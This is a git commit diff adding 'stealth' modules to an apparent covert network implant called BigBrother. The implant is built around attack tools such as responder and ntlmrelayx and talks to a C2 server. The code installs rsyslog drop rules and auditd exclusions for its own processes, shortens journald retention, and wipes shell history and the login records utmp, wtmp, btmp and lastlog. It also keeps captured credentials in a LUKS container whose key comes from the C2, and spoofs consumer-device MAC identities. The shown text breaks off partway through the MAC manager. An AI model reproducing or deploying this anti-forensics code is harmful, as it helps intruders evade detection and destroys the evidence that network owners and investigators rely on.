Add Phase 1 core stealth modules: MAC manager, process disguise, log suppression, encrypted storage, tmpfs manager, watchdog
6 stealth modules implementing the OPSEC layer: - MacManager: innocuous MAC profiles from DB, DHCP hostname/vendor class spoofing, TCP stack tuning (TTL, window, timestamps) - ProcessDisguise: rename processes to system service names via prctl, auto-disguise on MODULE_STARTED/TOOL_RESTARTED events - LogSuppression: rsyslog filters, auditd exclusions, journald rate limits, shell history/utmp/wtmp clearing with clean removal on stop - EncryptedStorage: LUKS2 container with HKDF network-derived key (CPU serial + C2 component), fallback key, auto-format and subdirectory creation - TmpfsManager: tier-aware RAM-backed mounts for working dirs and WAL files, power loss = instant evidence destruction - Watchdog: periodic health checks, auto-restart (max 3), OOM priority assignment by module type, bus event monitoring
This commit is contained in:
@@ -0,0 +1,17 @@
|
|||||||
|
"""BigBrother stealth modules — OPSEC layer."""
|
||||||
|
|
||||||
|
from modules.stealth.mac_manager import MacManager
|
||||||
|
from modules.stealth.process_disguise import ProcessDisguise
|
||||||
|
from modules.stealth.log_suppression import LogSuppression
|
||||||
|
from modules.stealth.encrypted_storage import EncryptedStorage
|
||||||
|
from modules.stealth.tmpfs_manager import TmpfsManager
|
||||||
|
from modules.stealth.watchdog import Watchdog
|
||||||
|
|
||||||
|
__all__ = [
|
||||||
|
"MacManager",
|
||||||
|
"ProcessDisguise",
|
||||||
|
"LogSuppression",
|
||||||
|
"EncryptedStorage",
|
||||||
|
"TmpfsManager",
|
||||||
|
"Watchdog",
|
||||||
|
]
|
||||||
@@ -0,0 +1,296 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Encrypted storage module — LUKS container for all persistent data.
|
||||||
|
|
||||||
|
Manages a LUKS2 encrypted container for PCAPs, logs, credentials, and
|
||||||
|
intelligence data. Key derivation attempts a network-derived key first
|
||||||
|
(HKDF with CPU serial + C2-fetched component), falling back to a config
|
||||||
|
passphrase if C2 is unreachable.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import shutil
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
from utils.crypto import LUKSContainer, derive_network_key
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.stealth.encrypted_storage")
|
||||||
|
|
||||||
|
# Subdirectories created inside the mounted LUKS container
|
||||||
|
STORAGE_SUBDIRS = ("pcaps", "logs", "baseline", "intel", "credentials", "config")
|
||||||
|
|
||||||
|
|
||||||
|
class EncryptedStorage(BaseModule):
|
||||||
|
"""LUKS encrypted storage with network-derived key unlock."""
|
||||||
|
|
||||||
|
name = "encrypted_storage"
|
||||||
|
module_type = "stealth"
|
||||||
|
priority = -500 # Highest — other modules depend on storage
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._luks: Optional[LUKSContainer] = None
|
||||||
|
self._mounted = False
|
||||||
|
self._storage_path: Optional[str] = None
|
||||||
|
self._container_path: Optional[str] = None
|
||||||
|
self._passphrase: Optional[bytes] = None
|
||||||
|
self._using_fallback_key = False
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||||
|
self._storage_path = os.path.join(install_path, "storage")
|
||||||
|
|
||||||
|
container_rel = self.config.get("security", {}).get(
|
||||||
|
"luks_container", "storage/encrypted.luks"
|
||||||
|
)
|
||||||
|
self._container_path = os.path.join(install_path, container_rel)
|
||||||
|
|
||||||
|
# Derive passphrase
|
||||||
|
self._passphrase = self._derive_passphrase()
|
||||||
|
|
||||||
|
# Initialize LUKS container
|
||||||
|
mapper_name = "bb_storage"
|
||||||
|
self._luks = LUKSContainer(
|
||||||
|
container_path=self._container_path,
|
||||||
|
mount_point=self._storage_path,
|
||||||
|
mapper_name=mapper_name,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Create container if it doesn't exist
|
||||||
|
if not os.path.isfile(self._container_path):
|
||||||
|
logger.info("Creating new LUKS container at %s", self._container_path)
|
||||||
|
os.makedirs(os.path.dirname(self._container_path), exist_ok=True)
|
||||||
|
size_mb = self._get_container_size()
|
||||||
|
if not self._luks.create(size_mb, self._passphrase):
|
||||||
|
logger.error("Failed to create LUKS container")
|
||||||
|
self.state.set_module_status(self.name, "error")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Format the filesystem inside the container
|
||||||
|
if not self._format_filesystem():
|
||||||
|
logger.error("Failed to format LUKS filesystem")
|
||||||
|
self.state.set_module_status(self.name, "error")
|
||||||
|
return
|
||||||
|
|
||||||
|
# Open and mount
|
||||||
|
if not self._luks.is_open:
|
||||||
|
if not self._luks.open(self._passphrase):
|
||||||
|
logger.error("Failed to open LUKS container — wrong key?")
|
||||||
|
self.state.set_module_status(self.name, "error")
|
||||||
|
return
|
||||||
|
|
||||||
|
self._mounted = True
|
||||||
|
|
||||||
|
# Create subdirectories
|
||||||
|
self._create_subdirs()
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||||
|
|
||||||
|
key_type = "fallback" if self._using_fallback_key else "network-derived"
|
||||||
|
logger.info(
|
||||||
|
"EncryptedStorage mounted at %s (key: %s)",
|
||||||
|
self._storage_path, key_type,
|
||||||
|
)
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Sync filesystem
|
||||||
|
try:
|
||||||
|
subprocess.run(["sync"], capture_output=True, timeout=10)
|
||||||
|
except subprocess.SubprocessError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Unmount and close LUKS
|
||||||
|
if self._luks and self._luks.is_open:
|
||||||
|
if not self._luks.close():
|
||||||
|
logger.warning("Failed to cleanly close LUKS container")
|
||||||
|
|
||||||
|
self._mounted = False
|
||||||
|
self._running = False
|
||||||
|
|
||||||
|
# Scrub passphrase from memory (best effort)
|
||||||
|
if self._passphrase:
|
||||||
|
self._passphrase = b"\x00" * len(self._passphrase)
|
||||||
|
self._passphrase = None
|
||||||
|
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("EncryptedStorage unmounted and closed")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
result = {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"mounted": self._mounted,
|
||||||
|
"using_fallback_key": self._using_fallback_key,
|
||||||
|
}
|
||||||
|
|
||||||
|
if self._mounted and self._storage_path:
|
||||||
|
try:
|
||||||
|
stat = os.statvfs(self._storage_path)
|
||||||
|
total = stat.f_blocks * stat.f_frsize
|
||||||
|
free = stat.f_bavail * stat.f_frsize
|
||||||
|
used = total - free
|
||||||
|
result["container_size_mb"] = total / (1024 * 1024)
|
||||||
|
result["used_mb"] = used / (1024 * 1024)
|
||||||
|
result["free_mb"] = free / (1024 * 1024)
|
||||||
|
except OSError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
return result
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Public API
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def get_storage_path(self) -> Optional[str]:
|
||||||
|
"""Return the mount point for the encrypted storage, or None if not mounted."""
|
||||||
|
return self._storage_path if self._mounted else None
|
||||||
|
|
||||||
|
def get_subdir(self, name: str) -> Optional[str]:
|
||||||
|
"""Return the path to a named subdirectory inside encrypted storage."""
|
||||||
|
if not self._mounted or not self._storage_path:
|
||||||
|
return None
|
||||||
|
path = os.path.join(self._storage_path, name)
|
||||||
|
return path if os.path.isdir(path) else None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Key derivation
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _derive_passphrase(self) -> bytes:
|
||||||
|
"""Attempt network-derived key first, then fall back to config passphrase."""
|
||||||
|
# Try network-derived key: HKDF(CPU serial + C2 component)
|
||||||
|
cpu_serial = self._get_cpu_serial()
|
||||||
|
c2_component = self._fetch_c2_key_component()
|
||||||
|
|
||||||
|
if c2_component:
|
||||||
|
try:
|
||||||
|
key = derive_network_key(
|
||||||
|
network_secret=c2_component,
|
||||||
|
device_serial=cpu_serial,
|
||||||
|
)
|
||||||
|
self._using_fallback_key = False
|
||||||
|
logger.debug("Using network-derived LUKS key")
|
||||||
|
return key
|
||||||
|
except Exception as exc:
|
||||||
|
logger.warning("Network key derivation failed: %s", exc)
|
||||||
|
|
||||||
|
# Fallback: use a config-based passphrase
|
||||||
|
self._using_fallback_key = True
|
||||||
|
logger.info("C2 unreachable — using fallback LUKS key")
|
||||||
|
|
||||||
|
# Derive from CPU serial + static salt (still better than plaintext)
|
||||||
|
fallback_salt = b"bb-fallback-luks-key-v1"
|
||||||
|
import hashlib
|
||||||
|
return hashlib.pbkdf2_hmac("sha256", cpu_serial, fallback_salt, 100_000)
|
||||||
|
|
||||||
|
def _get_cpu_serial(self) -> bytes:
|
||||||
|
"""Read CPU serial from /proc/cpuinfo or /sys/firmware/devicetree."""
|
||||||
|
# Try /proc/cpuinfo Serial field (RPi, OPi)
|
||||||
|
try:
|
||||||
|
with open("/proc/cpuinfo", "r") as f:
|
||||||
|
for line in f:
|
||||||
|
if line.strip().startswith("Serial"):
|
||||||
|
serial = line.split(":", 1)[1].strip()
|
||||||
|
return serial.encode("utf-8")
|
||||||
|
except (IOError, IndexError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Try machine-id as fallback
|
||||||
|
try:
|
||||||
|
with open("/etc/machine-id", "r") as f:
|
||||||
|
return f.read().strip().encode("utf-8")
|
||||||
|
except IOError:
|
||||||
|
pass
|
||||||
|
|
||||||
|
# Last resort: hostname-based
|
||||||
|
import socket
|
||||||
|
return socket.gethostname().encode("utf-8")
|
||||||
|
|
||||||
|
def _fetch_c2_key_component(self) -> Optional[bytes]:
|
||||||
|
"""Attempt to fetch the key component from C2.
|
||||||
|
|
||||||
|
Returns None if C2 is unreachable. The actual C2 client
|
||||||
|
will be provided by the connectivity module.
|
||||||
|
"""
|
||||||
|
# TODO: implement actual C2 key fetch via connectivity module
|
||||||
|
# For now, check if a pre-staged key file exists (deployed with implant)
|
||||||
|
key_paths = [
|
||||||
|
"/opt/.cache/bb/config/luks_network_key",
|
||||||
|
os.path.expanduser("~/.bigbrother/luks_network_key"),
|
||||||
|
]
|
||||||
|
for path in key_paths:
|
||||||
|
try:
|
||||||
|
if os.path.isfile(path):
|
||||||
|
with open(path, "rb") as f:
|
||||||
|
data = f.read(64)
|
||||||
|
if data:
|
||||||
|
return data
|
||||||
|
except (IOError, PermissionError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
return None
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Container setup
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _get_container_size(self) -> int:
|
||||||
|
"""Determine LUKS container size in MB based on available disk."""
|
||||||
|
try:
|
||||||
|
stat = os.statvfs(os.path.dirname(self._container_path))
|
||||||
|
free_mb = (stat.f_bavail * stat.f_frsize) / (1024 * 1024)
|
||||||
|
# Use 70% of free space, max 8GB, min 256MB
|
||||||
|
size = int(free_mb * 0.7)
|
||||||
|
return max(256, min(size, 8192))
|
||||||
|
except OSError:
|
||||||
|
return 1024 # Default 1GB
|
||||||
|
|
||||||
|
def _format_filesystem(self) -> bool:
|
||||||
|
"""Open the container and format it with ext4."""
|
||||||
|
try:
|
||||||
|
# Open LUKS to get the mapper device
|
||||||
|
if not self._luks.open(self._passphrase):
|
||||||
|
return False
|
||||||
|
|
||||||
|
# Format with ext4 (no journal for SBC — reduce writes)
|
||||||
|
subprocess.run(
|
||||||
|
["mkfs.ext4", "-O", "^has_journal", "-q", self._luks.device_path],
|
||||||
|
check=True, capture_output=True,
|
||||||
|
)
|
||||||
|
|
||||||
|
# Close — will be reopened in start()
|
||||||
|
self._luks.close()
|
||||||
|
return True
|
||||||
|
except subprocess.CalledProcessError as exc:
|
||||||
|
logger.error("mkfs.ext4 failed: %s", exc)
|
||||||
|
return False
|
||||||
|
|
||||||
|
def _create_subdirs(self) -> None:
|
||||||
|
"""Create standard subdirectories inside the mounted storage."""
|
||||||
|
for subdir in STORAGE_SUBDIRS:
|
||||||
|
path = os.path.join(self._storage_path, subdir)
|
||||||
|
os.makedirs(path, exist_ok=True)
|
||||||
|
logger.debug("Storage subdirectories created: %s", ", ".join(STORAGE_SUBDIRS))
|
||||||
@@ -0,0 +1,331 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Log suppression module — minimize forensic artifacts in system logs.
|
||||||
|
|
||||||
|
Installs rsyslog filter rules, auditd exclusions, journald rate limits,
|
||||||
|
and clears shell history / login records related to BigBrother activity.
|
||||||
|
All installed rules are removed on clean stop.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import subprocess
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Dict, List
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.stealth.log_suppression")
|
||||||
|
|
||||||
|
RSYSLOG_CONF = "/etc/rsyslog.d/01-bb-suppress.conf"
|
||||||
|
JOURNALD_CONF_DIR = "/etc/systemd/journald.conf.d"
|
||||||
|
JOURNALD_CONF = os.path.join(JOURNALD_CONF_DIR, "bb.conf")
|
||||||
|
AUDITD_RULES_FILE = "/etc/audit/rules.d/bb-exclude.rules"
|
||||||
|
|
||||||
|
|
||||||
|
class LogSuppression(BaseModule):
|
||||||
|
"""Suppress system log entries that could reveal BigBrother activity."""
|
||||||
|
|
||||||
|
name = "log_suppression"
|
||||||
|
module_type = "stealth"
|
||||||
|
priority = -300
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._installed: Dict[str, bool] = {
|
||||||
|
"rsyslog": False,
|
||||||
|
"auditd": False,
|
||||||
|
"journald": False,
|
||||||
|
"history": False,
|
||||||
|
"utmp": False,
|
||||||
|
}
|
||||||
|
self._process_names: List[str] = []
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Gather process names to suppress from stealth.yaml config
|
||||||
|
stealth_cfg = self.config.get("stealth_yaml", {})
|
||||||
|
name_map = stealth_cfg.get("process_names", {})
|
||||||
|
# Suppress both the real names and the fake names
|
||||||
|
self._process_names = list(set(list(name_map.keys()) + list(name_map.values())))
|
||||||
|
if not self._process_names:
|
||||||
|
self._process_names = [
|
||||||
|
"python3", "bettercap", "tcpdump", "responder", "mitmproxy",
|
||||||
|
"ntlmrelayx", "hostapd", "dnsmasq",
|
||||||
|
"systemd-thermald", "networkd-dispatcher", "systemd-netlogd",
|
||||||
|
"systemd-resolved", "systemd-networkd", "systemd-logind",
|
||||||
|
"wpa_supplicant",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Also suppress paths
|
||||||
|
install_path = self.config.get("device", {}).get("install_path", "/opt/.cache/bb")
|
||||||
|
self._suppressed_paths = [install_path, "/opt/.cache/bb", "/tmp/bb-"]
|
||||||
|
|
||||||
|
suppression_cfg = stealth_cfg.get("log_suppression", {})
|
||||||
|
|
||||||
|
# Install rsyslog filter
|
||||||
|
if suppression_cfg.get("rsyslog_filter", True):
|
||||||
|
self._install_rsyslog_filter()
|
||||||
|
|
||||||
|
# Install auditd exclusions
|
||||||
|
if suppression_cfg.get("auditd_exclusion", True):
|
||||||
|
self._install_auditd_exclusions()
|
||||||
|
|
||||||
|
# Configure journald rate limits
|
||||||
|
if suppression_cfg.get("journald_rate_limit", True):
|
||||||
|
self._install_journald_config()
|
||||||
|
|
||||||
|
# Clear shell history
|
||||||
|
self._clear_history()
|
||||||
|
|
||||||
|
# Clear utmp/wtmp/btmp entries
|
||||||
|
self._clear_login_records()
|
||||||
|
|
||||||
|
self._running = True
|
||||||
|
self._pid = os.getpid()
|
||||||
|
self._start_time = time.time()
|
||||||
|
self.state.set_module_status(self.name, "running", pid=os.getpid())
|
||||||
|
|
||||||
|
active = [k for k, v in self._installed.items() if v]
|
||||||
|
logger.info("LogSuppression active — methods: %s", ", ".join(active))
|
||||||
|
|
||||||
|
def stop(self) -> None:
|
||||||
|
if not self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
# Remove installed filter rules (clean exit)
|
||||||
|
self._remove_rsyslog_filter()
|
||||||
|
self._remove_auditd_exclusions()
|
||||||
|
self._remove_journald_config()
|
||||||
|
|
||||||
|
self._running = False
|
||||||
|
self.state.set_module_status(self.name, "stopped")
|
||||||
|
logger.info("LogSuppression stopped — all filter rules removed")
|
||||||
|
|
||||||
|
def status(self) -> dict:
|
||||||
|
return {
|
||||||
|
"running": self._running,
|
||||||
|
"pid": self._pid,
|
||||||
|
"uptime": time.time() - self._start_time if self._start_time else 0,
|
||||||
|
"suppression_methods": dict(self._installed),
|
||||||
|
"suppressed_process_count": len(self._process_names),
|
||||||
|
}
|
||||||
|
|
||||||
|
def configure(self, config: dict) -> None:
|
||||||
|
self.config.update(config)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# rsyslog filter
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _install_rsyslog_filter(self) -> None:
|
||||||
|
"""Write rsyslog config to drop log entries matching our processes/paths."""
|
||||||
|
try:
|
||||||
|
lines = [
|
||||||
|
"# BigBrother log suppression — auto-generated, removed on clean exit",
|
||||||
|
"# Drop messages containing our process names or paths",
|
||||||
|
]
|
||||||
|
|
||||||
|
for name in self._process_names:
|
||||||
|
# Property-based rsyslog filter: discard matching programname
|
||||||
|
lines.append(f':programname, isequal, "{name}" stop')
|
||||||
|
|
||||||
|
for path in self._suppressed_paths:
|
||||||
|
# Drop messages containing our install paths
|
||||||
|
lines.append(f':msg, contains, "{path}" stop')
|
||||||
|
|
||||||
|
with open(RSYSLOG_CONF, "w") as f:
|
||||||
|
f.write("\n".join(lines) + "\n")
|
||||||
|
|
||||||
|
# Restart rsyslog to apply
|
||||||
|
subprocess.run(
|
||||||
|
["systemctl", "restart", "rsyslog"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
self._installed["rsyslog"] = True
|
||||||
|
logger.debug("rsyslog filter installed at %s", RSYSLOG_CONF)
|
||||||
|
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||||
|
logger.warning("Failed to install rsyslog filter: %s", exc)
|
||||||
|
|
||||||
|
def _remove_rsyslog_filter(self) -> None:
|
||||||
|
"""Remove rsyslog filter config."""
|
||||||
|
try:
|
||||||
|
if os.path.isfile(RSYSLOG_CONF):
|
||||||
|
os.unlink(RSYSLOG_CONF)
|
||||||
|
subprocess.run(
|
||||||
|
["systemctl", "restart", "rsyslog"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
self._installed["rsyslog"] = False
|
||||||
|
logger.debug("rsyslog filter removed")
|
||||||
|
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# auditd exclusions
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _install_auditd_exclusions(self) -> None:
|
||||||
|
"""Write auditd rules excluding BigBrother PIDs and paths."""
|
||||||
|
try:
|
||||||
|
rules_dir = os.path.dirname(AUDITD_RULES_FILE)
|
||||||
|
if not os.path.isdir(rules_dir):
|
||||||
|
logger.debug("auditd rules directory not found — skipping")
|
||||||
|
return
|
||||||
|
|
||||||
|
lines = [
|
||||||
|
"# BigBrother auditd exclusions — auto-generated",
|
||||||
|
]
|
||||||
|
|
||||||
|
# Exclude our install path from file watches
|
||||||
|
for path in self._suppressed_paths:
|
||||||
|
lines.append(f"-a never,exclude -F dir={path}")
|
||||||
|
|
||||||
|
# Exclude our process names from execve auditing
|
||||||
|
for name in self._process_names:
|
||||||
|
lines.append(f"-a never,exclude -F exe=/usr/bin/{name}")
|
||||||
|
|
||||||
|
# Exclude current PID and parent
|
||||||
|
lines.append(f"-a never,exclude -F pid={os.getpid()}")
|
||||||
|
ppid = os.getppid()
|
||||||
|
if ppid > 1:
|
||||||
|
lines.append(f"-a never,exclude -F pid={ppid}")
|
||||||
|
|
||||||
|
with open(AUDITD_RULES_FILE, "w") as f:
|
||||||
|
f.write("\n".join(lines) + "\n")
|
||||||
|
|
||||||
|
# Reload auditd rules
|
||||||
|
subprocess.run(
|
||||||
|
["augenrules", "--load"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
self._installed["auditd"] = True
|
||||||
|
logger.debug("auditd exclusions installed at %s", AUDITD_RULES_FILE)
|
||||||
|
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||||
|
logger.warning("Failed to install auditd exclusions: %s", exc)
|
||||||
|
|
||||||
|
def _remove_auditd_exclusions(self) -> None:
|
||||||
|
"""Remove auditd exclusion rules."""
|
||||||
|
try:
|
||||||
|
if os.path.isfile(AUDITD_RULES_FILE):
|
||||||
|
os.unlink(AUDITD_RULES_FILE)
|
||||||
|
subprocess.run(
|
||||||
|
["augenrules", "--load"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
self._installed["auditd"] = False
|
||||||
|
logger.debug("auditd exclusions removed")
|
||||||
|
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# journald rate limits
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _install_journald_config(self) -> None:
|
||||||
|
"""Set journald rate limits to suppress burst logging."""
|
||||||
|
try:
|
||||||
|
os.makedirs(JOURNALD_CONF_DIR, exist_ok=True)
|
||||||
|
|
||||||
|
config_lines = [
|
||||||
|
"# BigBrother journald rate-limit — auto-generated",
|
||||||
|
"[Journal]",
|
||||||
|
"RateLimitIntervalSec=5s",
|
||||||
|
"RateLimitBurst=5",
|
||||||
|
"MaxRetentionSec=1day",
|
||||||
|
"MaxFileSec=1day",
|
||||||
|
"Compress=yes",
|
||||||
|
"Storage=volatile",
|
||||||
|
]
|
||||||
|
|
||||||
|
with open(JOURNALD_CONF, "w") as f:
|
||||||
|
f.write("\n".join(config_lines) + "\n")
|
||||||
|
|
||||||
|
# Restart journald to apply
|
||||||
|
subprocess.run(
|
||||||
|
["systemctl", "restart", "systemd-journald"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
self._installed["journald"] = True
|
||||||
|
logger.debug("journald config installed at %s", JOURNALD_CONF)
|
||||||
|
except (IOError, PermissionError, subprocess.SubprocessError) as exc:
|
||||||
|
logger.warning("Failed to install journald config: %s", exc)
|
||||||
|
|
||||||
|
def _remove_journald_config(self) -> None:
|
||||||
|
"""Remove journald config override."""
|
||||||
|
try:
|
||||||
|
if os.path.isfile(JOURNALD_CONF):
|
||||||
|
os.unlink(JOURNALD_CONF)
|
||||||
|
subprocess.run(
|
||||||
|
["systemctl", "restart", "systemd-journald"],
|
||||||
|
capture_output=True, timeout=10,
|
||||||
|
)
|
||||||
|
self._installed["journald"] = False
|
||||||
|
logger.debug("journald config removed")
|
||||||
|
except (IOError, PermissionError, subprocess.SubprocessError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Shell history
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _clear_history(self) -> None:
|
||||||
|
"""Clear bash history and prevent future recording."""
|
||||||
|
try:
|
||||||
|
os.environ["HISTFILE"] = "/dev/null"
|
||||||
|
os.environ["HISTSIZE"] = "0"
|
||||||
|
os.environ["HISTFILESIZE"] = "0"
|
||||||
|
|
||||||
|
# Clear existing history files
|
||||||
|
history_files = [
|
||||||
|
os.path.expanduser("~/.bash_history"),
|
||||||
|
"/root/.bash_history",
|
||||||
|
os.path.expanduser("~/.zsh_history"),
|
||||||
|
"/root/.zsh_history",
|
||||||
|
]
|
||||||
|
for hf in history_files:
|
||||||
|
try:
|
||||||
|
if os.path.isfile(hf):
|
||||||
|
with open(hf, "w") as f:
|
||||||
|
f.truncate(0)
|
||||||
|
except (IOError, PermissionError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
self._installed["history"] = True
|
||||||
|
logger.debug("Shell history cleared and disabled")
|
||||||
|
except Exception as exc:
|
||||||
|
logger.warning("Failed to clear history: %s", exc)
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# Login records (utmp/wtmp/btmp)
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def _clear_login_records(self) -> None:
|
||||||
|
"""Clear utmp/wtmp/btmp entries that could reveal BigBrother sessions."""
|
||||||
|
record_files = [
|
||||||
|
"/var/run/utmp",
|
||||||
|
"/var/log/wtmp",
|
||||||
|
"/var/log/btmp",
|
||||||
|
"/var/log/lastlog",
|
||||||
|
]
|
||||||
|
cleared = False
|
||||||
|
for rf in record_files:
|
||||||
|
try:
|
||||||
|
if os.path.isfile(rf):
|
||||||
|
# Truncate rather than delete to preserve file ownership/perms
|
||||||
|
with open(rf, "r+b") as f:
|
||||||
|
f.truncate(0)
|
||||||
|
cleared = True
|
||||||
|
except (IOError, PermissionError):
|
||||||
|
pass
|
||||||
|
|
||||||
|
if cleared:
|
||||||
|
self._installed["utmp"] = True
|
||||||
|
logger.debug("Login records cleared (utmp/wtmp/btmp)")
|
||||||
@@ -0,0 +1,319 @@
|
|||||||
|
#!/usr/bin/env python3
|
||||||
|
"""Innocuous MAC profile manager — select and apply a believable device identity.
|
||||||
|
|
||||||
|
Queries data/innocuous_macs.db for consumer device profiles (Fire TV, iPhone,
|
||||||
|
printers, etc.), sets MAC + DHCP hostname + vendor class + TCP stack params to
|
||||||
|
match the selected device. The goal: look like something that belongs on every
|
||||||
|
network.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import logging
|
||||||
|
import os
|
||||||
|
import random
|
||||||
|
import sqlite3
|
||||||
|
import time
|
||||||
|
from pathlib import Path
|
||||||
|
from typing import Optional
|
||||||
|
|
||||||
|
from modules.base import BaseModule
|
||||||
|
from utils.networking import (
|
||||||
|
get_mac,
|
||||||
|
get_primary_interface,
|
||||||
|
get_wifi_interfaces,
|
||||||
|
set_mac,
|
||||||
|
)
|
||||||
|
from utils.stealth import set_sysctl, set_tcp_timestamps, set_tcp_window, set_ttl
|
||||||
|
|
||||||
|
logger = logging.getLogger("bb.stealth.mac_manager")
|
||||||
|
|
||||||
|
# Category preferences per network type
|
||||||
|
_BUSINESS_CATEGORIES = ("printers", "network", "smart_home")
|
||||||
|
_HOME_CATEGORIES = ("streaming", "smart_home", "phones", "gaming")
|
||||||
|
_DEFAULT_CATEGORIES = ("streaming", "smart_home", "phones")
|
||||||
|
|
||||||
|
# Map config shorthand to DB device_type values
|
||||||
|
_CATEGORY_MAP = {
|
||||||
|
"streaming": ("smart_tv", "streaming"),
|
||||||
|
"phones": ("phone", "tablet"),
|
||||||
|
"smart_home": ("smart_speaker", "iot"),
|
||||||
|
"printers": ("printer",),
|
||||||
|
"gaming": ("gaming",),
|
||||||
|
"network": ("printer", "iot"),
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
class MacManager(BaseModule):
|
||||||
|
"""Select and apply a consumer-device MAC profile for network blending."""
|
||||||
|
|
||||||
|
name = "mac_manager"
|
||||||
|
module_type = "stealth"
|
||||||
|
priority = -400
|
||||||
|
requires_root = True
|
||||||
|
|
||||||
|
def __init__(self, bus, state, config, engine=None):
|
||||||
|
super().__init__(bus, state, config, engine)
|
||||||
|
self._profile: Optional[dict] = None
|
||||||
|
self._eth_iface: Optional[str] = None
|
||||||
|
self._wifi_iface: Optional[str] = None
|
||||||
|
self._original_eth_mac: Optional[str] = None
|
||||||
|
self._original_wifi_mac: Optional[str] = None
|
||||||
|
self._db_path = self._resolve_db_path()
|
||||||
|
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
# BaseModule interface
|
||||||
|
# ------------------------------------------------------------------
|
||||||
|
|
||||||
|
def start(self) -> None:
|
||||||
|
if self._running:
|
||||||
|
return
|
||||||
|
|
||||||
|
self._eth_iface = self.config.get("network", {}).get(
|
||||||
|
"primary_interface", "auto"
|
||||||
|
)
|
||||||
|
if self._eth_iface == "auto":
|
||||||
|
self._eth_iface = get_primary_interface()
|
||||||
|
|
||||||
|
wifi_ifaces = get_wifi_interfaces()
|
||||||
|
wifi_cfg = self.config.get("network", {}).get("wifi", {}).get("interface", "wlan0")
|
||||||
|
self._wifi_iface = wifi_cfg if wifi_cfg in wifi_ifaces else (wifi_ifaces[0] if wifi_ifaces else None)
|
||||||
|
|
||||||
|
